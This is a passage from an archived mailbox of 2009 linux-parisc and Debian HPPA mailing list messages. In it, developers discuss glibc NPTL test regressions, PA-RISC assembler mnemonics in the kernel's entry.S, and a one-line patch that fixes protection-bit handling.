	 <20090615173102.GC2690@lackof.org>
	 <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de>
	 <20090616191317.GG25535@hall.aurel32.net>
	 <119aab440906211555m116af57ekde6a9d75eae59a01@mail.gmail.com>
	 <20090712123054.GB31207@hall.aurel32.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247410341 7617 80.91.229.12 (12 Jul 2009 14:52:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2009 14:52:21 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>,
	Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 12 16:52:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQ0PV-0004wh-2y
	for glpp-linux-parisc@gmane.org; Sun, 12 Jul 2009 16:52:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753735AbZGLOwL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 10:52:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753739AbZGLOwL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 10:52:11 -0400
Original-Received: from mail-ew0-f226.google.com ([209.85.219.226]:41410 "EHLO
	mail-ew0-f226.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753735AbZGLOwK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 10:52:10 -0400
Original-Received: by ewy26 with SMTP id 26so2055622ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 12 Jul 2009 07:52:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=m4KmibHSgbQKizk9bvP0LlxLejNwz8QDIn3O9UOCf5g=;
        b=X4abuN5zGSPd/Vlh+Jx1OL67obyBgHBURddzwVlN1DCuPMJK9jxioZsF0OG98te78T
         CLmZAPxCx2XALEOWcyAFxBwUH9C8CCHQ0OiXFmQpN8sV7b8oXOMrtr4YzMxC3/CzYSFj
         pKPeUdRzsHoSSolu+mJIEsWZadQiddoyd3ZCA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=lyEgPVFNlTKcnXPeHZogK8GnQKW8ku9SPOJsbqTBuU7CuSsXs7tafpptlP/XKcst96
         8Og4v0gh0UVH1CUsZUyPrxwGgcaCYAkhZDKxNsqSvJwBUWoY+0K4yDEW+4B2DvpUO9gb
         TlsR7OLaFs7dSpYA71dJ9LEf0foWbb/xLJoos=
Original-Received: by 10.216.70.204 with SMTP id p54mr1108112wed.87.1247410328202; Sun, 
	12 Jul 2009 07:52:08 -0700 (PDT)
In-Reply-To: <20090712123054.GB31207@hall.aurel32.net>
X-Google-Sender-Auth: c8f05ab50ef60776
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1930 gmane.linux.debian.ports.hppa:5847 gmane.linux.debian.devel.release:31122
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1930>

On Sun, Jul 12, 2009 at 8:30 AM, Aurelien Jarno<aurelien@aurel32.net> wrote:
> I have just included these patches in the eglibc-2.10 branch of our SVN,
> though currently the linuxthreads version is still built by default.
>
> I got the following regressions in the NPTL build compared to the
> linuxthreads build:
> | Encountered regressions that don't match expected failures:
> | tst-cancelx20.out, Error 1
> | tst-cancelx21.out, Error 1
> | tst-cancelx4.out, Error 1
> | tst-cancelx5.out, Error 1
> | tst-cleanupx4.out, Error 1

These are expected regressions

> | tst-cputimer1.out, Error 1
> | tst-cputimer2.out, Error 1
> | tst-cputimer3.out, Error 1
> | tst-mqueue3.out, Error 1

So are these.

> | tststatic2.out, Error 1
> | tststatic.out, Error 1

These are not.

> | tst-timer4.out, Error 1
> | tst-timer5.out, Error 1

These are.

> | tst-tls9-static.out, Error 1

This is not.

I'm building my own set of patches for debian-glibc, I'll tell you
what my results are when I finish today.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Sun, 12 Jul 2009 15:40:34 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090712194035.DD080500D@hiauly1.hia.nrc.ca>
References: <20090711010513.38B824FE2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247427652 17808 80.91.229.12 (12 Jul 2009 19:40:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Jul 2009 19:40:52 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 12 21:40:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQ4ui-0003d5-3P
	for glpp-linux-parisc@gmane.org; Sun, 12 Jul 2009 21:40:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751071AbZGLTkk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 15:40:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751127AbZGLTkk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 15:40:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4650 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751071AbZGLTkj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 15:40:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DD080500D; Sun, 12 Jul 2009 15:40:35 -0400 (EDT)
In-Reply-To: <20090711010513.38B824FE2@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 10, 2009 09:05:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1931
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1931>

> > It looks to me like these macros can be deleted.  For example, the PA 1.x
> > depi mneumonic is equivalent to the PA 2.0 depwi mneumonic.  See Table
> > J-2 in PA 2.0 arch.  There's no need for the 64-bit versions.  The PA 1.x
> > mneumonics are still valid in PA 2.0 assembler.  However, I would suggest
> > that the PA 2.0 mneumonics be used in PA 2.0 specific code.

Sorry, the macros can't be removed.  The PA 1.x mneumonics result in undefined
behavior in the most sign-significant 32 bits.  The should just be renamed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Sun, 12 Jul 2009 21:15:49 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20090713011549.GE31925@bombadil.infradead.org>
References: <20090711010513.38B824FE2@hiauly1.hia.nrc.ca> <20090712194035.DD080500D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247447764 28445 80.91.229.12 (13 Jul 2009 01:16:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2009 01:16:04 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 03:15:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQA96-0005Oj-QQ
	for glpp-linux-parisc@gmane.org; Mon, 13 Jul 2009 03:15:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751970AbZGMBPz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 21:15:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751758AbZGMBPz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 21:15:55 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40516 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751970AbZGMBPz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 21:15:55 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MQA8z-0002Ku-LT; Mon, 13 Jul 2009 01:15:49 +0000
Content-Disposition: inline
In-Reply-To: <20090712194035.DD080500D@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1932>

On Sun, Jul 12, 2009 at 03:40:34PM -0400, John David Anglin wrote:
> > > It looks to me like these macros can be deleted.  For example, the PA 1.x
> > > depi mneumonic is equivalent to the PA 2.0 depwi mneumonic.  See Table
> > > J-2 in PA 2.0 arch.  There's no need for the 64-bit versions.  The PA 1.x
> > > mneumonics are still valid in PA 2.0 assembler.  However, I would suggest
> > > that the PA 2.0 mneumonics be used in PA 2.0 specific code.
> 
> Sorry, the macros can't be removed.  The PA 1.x mneumonics result in undefined
> behavior in the most sign-significant 32 bits.  The should just be renamed.
> 

Can someone distill all these mails into a patch? It will directly apply
to upstream and all the current stable releases, so a single patch
should suffice.

I'd do it myself, but I'm too busy writing a paper this week. :/

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Sun, 12 Jul 2009 21:44:37 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090713014438.9CAB4505D@hiauly1.hia.nrc.ca>
References: <20090713011549.GE31925@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247449499 31282 80.91.229.12 (13 Jul 2009 01:44:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2009 01:44:59 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 03:44:51 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQAb3-00031H-Ds
	for glpp-linux-parisc@gmane.org; Mon, 13 Jul 2009 03:44:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751842AbZGMBos (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 21:44:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751987AbZGMBos
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 21:44:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4670 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751842AbZGMBos (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 21:44:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9CAB4505D; Sun, 12 Jul 2009 21:44:37 -0400 (EDT)
In-Reply-To: <20090713011549.GE31925@bombadil.infradead.org> from "Kyle McMartin" at Jul 12, 2009 09:15:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1933>

> Can someone distill all these mails into a patch? It will directly apply
> to upstream and all the current stable releases, so a single patch
> should suffice.
> 
> I'd do it myself, but I'm too busy writing a paper this week. :/

The most important change is attached.  Bit 12 needs to be set in the
protection register, not bit 44.  The change has had three days testing
on my rp3440 (PA8800) without any unusual segmentation faults.  Also,
tested on a couple of PA8700 machines.  This fixes the problem noticed
by Artem Alimarine.

At the moment, I don't have a change for the macros.  The DEP and DEPI
macros conflict with PA 1.x mneumonics.  So, they should be renamed.
I also think the 32-bit instructions in the macros should use PA 1.x
rather than 2.0 mneumonics.  The 1.x mneumonics should be ok for both
PA 1.x and 2.0.  It is possible that building for a PA 1.x machine might
not work with the current macros.  Maybe James has something for the
macros.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index ae3e70c..e552e54 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -553,7 +553,7 @@
 	 * on most of those machines only handles cache transactions.
 	 */
 	extrd,u,*=	\pte,_PAGE_NO_CACHE_BIT+32,1,%r0
-	depi		1,12,1,\prot
+	depdi		1,12,1,\prot
 
 	/* Drop prot bits and convert to page addr for iitlbt and idtlbt */
 	convert_for_tlb_insert20 \pte
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Sun, 12 Jul 2009 21:54:52 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20090713015452.GF31925@bombadil.infradead.org>
References: <20090713011549.GE31925@bombadil.infradead.org> <20090713014438.9CAB4505D@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1247450110 32325 80.91.229.12 (13 Jul 2009 01:55:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2009 01:55:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 03:55:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQAku-0006FV-9w
	for glpp-linux-parisc@gmane.org; Mon, 13 Jul 2009 03:55:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751987AbZGMBy7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 21:54:59 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752120AbZGMBy7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 21:54:59 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48078 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751987AbZGMBy6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 21:54:58 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MQAkm-0005u7-LJ; Mon, 13 Jul 2009 01:54:52 +0000
Content-Disposition: inline
In-Reply-To: <20090713014438.9CAB4505D@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1934>

On Sun, Jul 12, 2009 at 09:44:37PM -0400, John David Anglin wrote:
> > Can someone distill all these mails into a patch? It will directly apply
> > to upstream and all the current stable releases, so a single patch
> > should suffice.
> > 
> > I'd do it myself, but I'm too busy writing a paper this week. :/
> 
> The most important change is attached.  Bit 12 needs to be set in the
> protection register, not bit 44.  The change has had three days testing
> on my rp3440 (PA8800) without any unusual segmentation faults.  Also,
> tested on a couple of PA8700 machines.  This fixes the problem noticed
> by Artem Alimarine.
> 
> At the moment, I don't have a change for the macros.  The DEP and DEPI
> macros conflict with PA 1.x mneumonics.  So, they should be renamed.
> I also think the 32-bit instructions in the macros should use PA 1.x
> rather than 2.0 mneumonics.  The 1.x mneumonics should be ok for both
> PA 1.x and 2.0.  It is possible that building for a PA 1.x machine might
> not work with the current macros.  Maybe James has something for the
> macros.
> 

Great. May I append a Signed-off-by: John David Anglin
<dave@hiauly1.hia.nrc.ca>?

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Sun, 12 Jul 2009 22:18:38 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <20090713021840.23B27505D@hiauly1.hia.nrc.ca>
References: <20090713015452.GF31925@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247451536 2923 80.91.229.12 (13 Jul 2009 02:18:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2009 02:18:56 +0000 (UTC)
Cc: kyle@mcmartin.ca, James.Bottomley@HansenPartnership.com,
	grundler@parisc-linux.org, artem.alimarine@stromasys.com,
	linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 04:18:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQB7t-0003Ol-Qt
	for glpp-linux-parisc@gmane.org; Mon, 13 Jul 2009 04:18:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752185AbZGMCSn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Jul 2009 22:18:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752462AbZGMCSn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 12 Jul 2009 22:18:43 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4679 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752231AbZGMCSn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Jul 2009 22:18:43 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 23B27505D; Sun, 12 Jul 2009 22:18:39 -0400 (EDT)
In-Reply-To: <20090713015452.GF31925@bombadil.infradead.org> from "Kyle McMartin" at Jul 12, 2009 09:54:52 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1935
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1935>

> Great. May I append a Signed-off-by: John David Anglin
> <dave@hiauly1.hia.nrc.ca>?

Yes, but change the email to <dave.anglin@nrc-cnrc.gc.ca>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Mon, 13 Jul 2009 09:30:20 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <119aab440907130630r7801872cx186abc2674338f3b@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <20090615173102.GC2690@lackof.org>
	 <20090616062531.GA17957@xanadu.blop.info> <4A37EDB5.2020400@gmx.de>
	 <20090616191317.GG25535@hall.aurel32.net>
	 <119aab440906211555m116af57ekde6a9d75eae59a01@mail.gmail.com>
	 <20090712123054.GB31207@hall.aurel32.net>
	 <119aab440907120752m43ae8a10ld79cf7eac50ad78b@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247491834 5168 80.91.229.12 (13 Jul 2009 13:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2009 13:30:34 +0000 (UTC)
Cc: Lucas Nussbaum <lucas@lucas-nussbaum.net>,
	Helge Deller <deller@gmx.de>,
	Grant Grundler <grundler@parisc-linux.org>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc@vger.kernel.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 13 15:30:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MQLbt-0004XS-9K
	for glpp-linux-parisc@gmane.org; Mon, 13 Jul 2009 15:30:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755802AbZGMNaY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Jul 2009 09:30:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755819AbZGMNaY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Jul 2009 09:30:24 -0400
Original-Received: from ey-out-1920.google.com ([74.125.78.148]:39060 "EHLO
	ey-out-1920.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755802AbZGMNaX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Jul 2009 09:30:23 -0400
Original-Received: by ey-out-1920.google.com with SMTP id 3so430661eyh.36
        for <linux-parisc@vger.kernel.org>; Mon, 13 Jul 2009 06:30:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=6Hn6nPBTpR2f8Fp6DCU6vzXiVNp/2c/MGWGCFiQv8AA=;
        b=B5A2MdghQPizbdAim0lYzgbeGFoyYX8kxLnf8mBdvTwH49T7koPRCQ37R0La3pF5Cd
         V+wNud4gGgt0KyHzRaki6RXPTiwu8Uuen8iUrVR9xGzOPKCS65JNsqTznLeXVWpXkgCo
         ci+w0AQ5QBsqsEAwOAzpYJLafqx+RB4TV0yXs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=V3p4YoWgbBQ9qAyurgSDFxGP88CCC+Bf/RGAweWNxQUCkmQ34Nds0Ib55t4eBEUnph
         iMfCBsR0CaJJgRPdfttFXX0EwVGwk5r/lkXF6sCfvHqRsyZxmPvPTdcMbZ1n0lpmY+W4
         oIOeyVRQ9ghIwziMukHS4pIfAkt7znMu69ZSU=
Original-Received: by 10.216.3.79 with SMTP id 57mr1383639weg.166.1247491821156; Mon, 
	13 Jul 2009 06:30:21 -0700 (PDT)
In-Reply-To: <119aab440907120752m43ae8a10ld79cf7eac50ad78b@mail.gmail.com>
X-Google-Sender-Auth: ad1a7abdd77eeed5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1936 gmane.linux.debian.ports.hppa:5848
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1936>

On Sun, Jul 12, 2009 at 10:52 AM, Carlos
O'Donell<carlos@systemhalted.org> wrote:
> I'm building my own set of patches for debian-glibc, I'll tell you
> what my results are when I finish today.

I had to restart the build last night, and it's building right now. I
should have test results within 2 hours.

I have trimmed debian-release from the CC.

Thanks.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
